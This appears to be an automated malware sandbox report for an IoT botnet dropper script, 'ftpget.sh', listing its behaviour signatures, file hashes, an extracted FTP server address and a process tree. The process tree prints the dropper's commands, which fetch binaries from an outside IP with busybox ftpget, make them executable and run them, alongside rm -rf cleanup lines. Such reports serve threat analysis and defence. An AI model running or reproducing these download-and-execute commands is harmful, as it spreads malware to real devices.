Overview

overview

10

Static

static

1

ftpget.sh

ubuntu-18.04-amd64

10

ftpget.sh

debian-9-armhf

10

ftpget.sh

debian-9-mips

ftpget.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/08/2026, 06:14

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General

  • Target
    ftpget.sh
  • Size 594B
  • Sample260804-gzjnkshj3s
  • SHA256 ec6036d456f112cf7cdc3b35ef7a785a1018edad816dcfb36f46e03f7029d6a5
  • MD5 SHA1 SHA512 TLSH
Score
10/10
defense_evasiondiscovery

Malware Config

Extracted

Credentials
  • Protocol

    ftp
  • Host

    205.237.110.232
  • Port

    21
  • Username

    anonymous
  • Password

    busybox@

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ftpget.sh
    /tmp/ftpget.sh
    1⤵
    • Executes dropped EXE
    PID:642
    • /bin/rm
      rm -rf arm4
      2⤵
        PID:644
      • /bin/rm
        rm -rf arm5
        2⤵
          PID:646
        • /bin/rm
          rm -rf arm6
          2⤵
            PID:648
          • /bin/rm
            rm -rf arm7
            2⤵
              PID:651
            • /bin/rm
              rm -rf mips
              2⤵
              • System Network Configuration Discovery
              PID:652
            • /bin/rm
              rm -rf mpsl
              2⤵
                PID:655
              • /bin/rm
                rm -rf arc
                2⤵
                  PID:657
                • /bin/rm
                  rm -rf aarch64
                  2⤵
                    PID:659
                  • /bin/busybox
                    /bin/busybox ftpget 205.237.110.232 arm arm
                    2⤵
                    • Writes file to tmp directory
                    PID:662
                  • /bin/busybox
                    /bin/busybox chmod +x arm
                    2⤵
                    • File and Directory Permissions Modification
                    PID:679
                  • /tmp/arm
                    ./arm telnet.ftpget
                    2⤵
                    • Changes its process name
                    • Reads runtime system information
                    PID:680
                  • /bin/busybox
                    /bin/busybox ftpget 205.237.110.232 arm5 arm5
                    2⤵
                    • Writes file to tmp directory
                    PID:682
                  • /bin/busybox
                    /bin/busybox chmod +x arm5
                    2⤵
                    • File and Directory Permissions Modification
                    PID:692
                  • /tmp/arm5
                    ./arm5 telnet.ftpget
                    2⤵
                    • Changes its process name
                    • Reads runtime system information
                    PID:693
                  • /bin/busybox
                    /bin/busybox ftpget 205.237.110.232 arm7 arm7
                    2⤵
                    • Writes file to tmp directory
                    PID:727
                  • /bin/busybox
                    /bin/busybox chmod +x arm7
                    2⤵
                    • File and Directory Permissions Modification
                    PID:730
                  • /tmp/arm7
                    ./arm7 telnet.ftpget
                    2⤵
                      PID:731

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        arm
                        • Path /tmp/arm
                        • Size 490KB
                        • SHA256 477c66e0e4a9353c29d5aa3b5d750ffabee1a65496401f4303b9b874c13e6ce5
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        arm5
                        • Path /tmp/arm5
                        • Size 484KB
                        • SHA256 abbeaa41254ac515bb1c2218485f5f6339cdfc83796ca31e260935e81373fd06
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        arm7
                        • Path /tmp/arm7
                        • Size 469KB
                        • SHA256 769bd770366308fa1f6edbb235da42b5a6296ab0d3c5d672f291ae1cc566106d
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download